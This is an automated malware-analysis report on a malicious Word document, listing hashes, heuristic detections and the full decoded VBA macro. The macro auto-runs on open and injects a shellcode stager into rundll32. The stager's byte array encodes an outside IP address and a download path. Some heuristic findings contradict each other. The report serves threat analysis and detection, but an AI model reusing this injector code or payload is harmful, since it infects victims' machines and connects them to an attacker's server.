Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf02d9c588cfb768…

MALICIOUS

Office (OLE)

424.0 KB Created: 2018-09-26 12:47:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 071c5bbe4de23cc3331d0417dbae9c32 SHA-1: e1c827d1fccd5b7247db22efbe6b7ecf31659496 SHA-256: cf02d9c588cfb76840f4e5a601cdf3ae67b430d498c74b3da30ddf2168e03579
434 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that leverages the CVE-2007-3899 vulnerability to achieve arbitrary code execution. The VBA macros within the document utilize Windows API calls such as CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, indicating an intent to inject and run malicious code. This behavior is consistent with a dropper or downloader malware.

Heuristics 14

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Malware.Valyria-10025240-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10025240-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 56, 46, 54, 50, 46, 50, 48, 52, 46, 55, 51, 0, 32, 47, -31, -123)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8250 bytes
SHA-256: 5597769b06dc261484696d0c6a59a760259075a4c8dc8ad462aa29f194d5a97d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Type PROCESS_INFORMATION
    XIqRxlUlpY As Long
    hvxaNKSETS As Long
    evlJfOreZP As Long
    hXeYhrhDIR As Long
End Type

Private Type STARTUPINFO
    uxSzmWIwIr As Long
    sGMjGmmwuE As String
    JMWEOuBfiv As String
    tFMdIwKKQh As String
    cpOIJNmpqD As Long
    IJeKPrYSqJ As Long
    cpOIJNmpqDSize As Long
    IJeKPrYSqJSize As Long
    cpOIJNmpqDCountChars As Long
    IJeKPrYSqJCountChars As Long
    RHKwuXRQmt As Long
    GzhsSrTgtJ As Long
    CDePkfdNXJ As Integer
    uxSzmWIwIrReserved2 As Integer
    sGMjGmmwuE2 As Long
    lfpuiTvtuB As Long
    qRsSWxlFVh As Long
    NmqMKzzwRU As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function nylDvpfbdC Lib "kernel32" Alias "CreateRemoteThread" (ByVal XIqRxlUlpY As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function oDjVLUKKyj Lib "kernel32" Alias "VirtualAllocEx" (ByVal XIqRxlUlpY As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function onbtxzejCE Lib "kernel32" Alias "WriteProcessMemory" (ByVal XIqRxlUlpY As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function iwvaGetdmj Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function nylDvpfbdC Lib "kernel32" Alias "CreateRemoteThread" (ByVal XIqRxlUlpY As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function oDjVLUKKyj Lib "kernel32" Alias "VirtualAllocEx" (ByVal XIqRxlUlpY As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function onbtxzejCE Lib "kernel32" Alias "WriteProcessMemory" (ByVal XIqRxlUlpY As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function iwvaGetdmj Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, -24, 0, 0, 0, 0, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -92, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, -69, 1, 0, 0, 83, _
80, 104, 87, -119, -97, -58, -1, -43, 80, -23, -116, 0, 0, 0, 91, 49, -46, 82, 104, 0, 50, -96, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, _
80, 104, -128, 51, 0, 0, -119, -32, 106, 4, 80, 106, 31, 86, 104, 117, 70, -98, -122, -1, -43, 95, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45, 6, 24, 123, -1, -43, -123, -64, 15, _
-124, -54, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, _
-73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 117, 7, 88, 80, -23, 123, -1, -1, -1, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, 111, -1, -1, -1, 47, _
95, 105, 110, 105, 116, 46, 103, 105, 102, 0, -125, 47, -106, 101, -82, 113, -76, 112, 46, 117, -97, -121, 23, 32, 92, -66, -118, 28, 34, 42, -128, -104, 36, 32, 103, 87, 42, 57, -16, -83, _
98, 45, 125, -38, 22, 48, 48, 0, -68, -67, 32, 46, 65, -31, 96, 84, -54, -92, 5, -19, -70, 67, 102, -73, 23, -57, 100, 47, 77, -123, 19, 63, 76, -112, 14, 39, -19, 50, 0, 85, _
115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, _
87, 79, 87, 54, 52, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 51, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 13, _
10, 0, 26, 40, 38, 118, -18, -19, 74, -58, -28, -111, -47, -30, 68, 58, 99, 13, 74, -57, 21, 98, 77, 91, -15, 122, -28, -123, -102, 93, 29, 47, -109, -95, 74, 103, 63, 98, -120, 73, _
58, -43, -90, -120, -113, -38, -79, -91, 80, 112, 52, -96, 42, -69, -62, 71, -125, -121, 2, -7, -123, -112, -100, 50, -50, -63, 38, -32, 106, -62, -23, 123, 41, -67, 31, -9, -24, -15, -19, -18, _
-125, 44, -98, -32, 61, -4, 105, 61, 40, -15, 122, -21, -75, -45, -103, -14, -62, 67, 28, 88, 96, -61, -111, 63, -50, 64, 47, 18, -38, -35, 69, -20, 121, -120, 32, 70, 109, 30, -8, 86, _
-33, 107, 51, -72, 26, 61, -67, -62, -127, 4, 37, -13, -51, -105, 72, 8, -84, 54, -100, -126, -61, 57, -102, 44, 4, 29, -44, 67, 59, 5, 125, 71, 63, 120, -30, 57, 27, -15, -88, 4, _
-69, 67, -22, -92, -86, 73, -53, -68, 90, -41, -8, -64, 17, -108, -41, 114, 74, 63, 49, 18, 92, 72, -14, -75, -86, -61, -28, -32, 82, -107, -112, -20, 43, -119, 85, -86, 28, -55, 103, 116, _
-78, -25, 125, -49, -101, -115, -40, 7, 57, 45, 78, -4, -60, 84, -23, -91, -122, 112, -87, -27, 19, -30, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 40, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, _
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 56, 46, 54, 50, 46, 50, 48, 52, 46, 55, 51, 0, 32, 47, -31, -123)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = iwvaGetdmj(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = oDjVLUKKyj(pInfo.XIqRxlUlpY, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = onbtxzejCE(pInfo.XIqRxlUlpY, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = nylDvpfbdC(pInfo.XIqRxlUlpY, 0, 0, rwxpage, 0, 0, 0)
    
    ActiveDocument.Range.Text = "Er is een probleem opgetreden met dit document. Error: 0x008181AA."
    
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.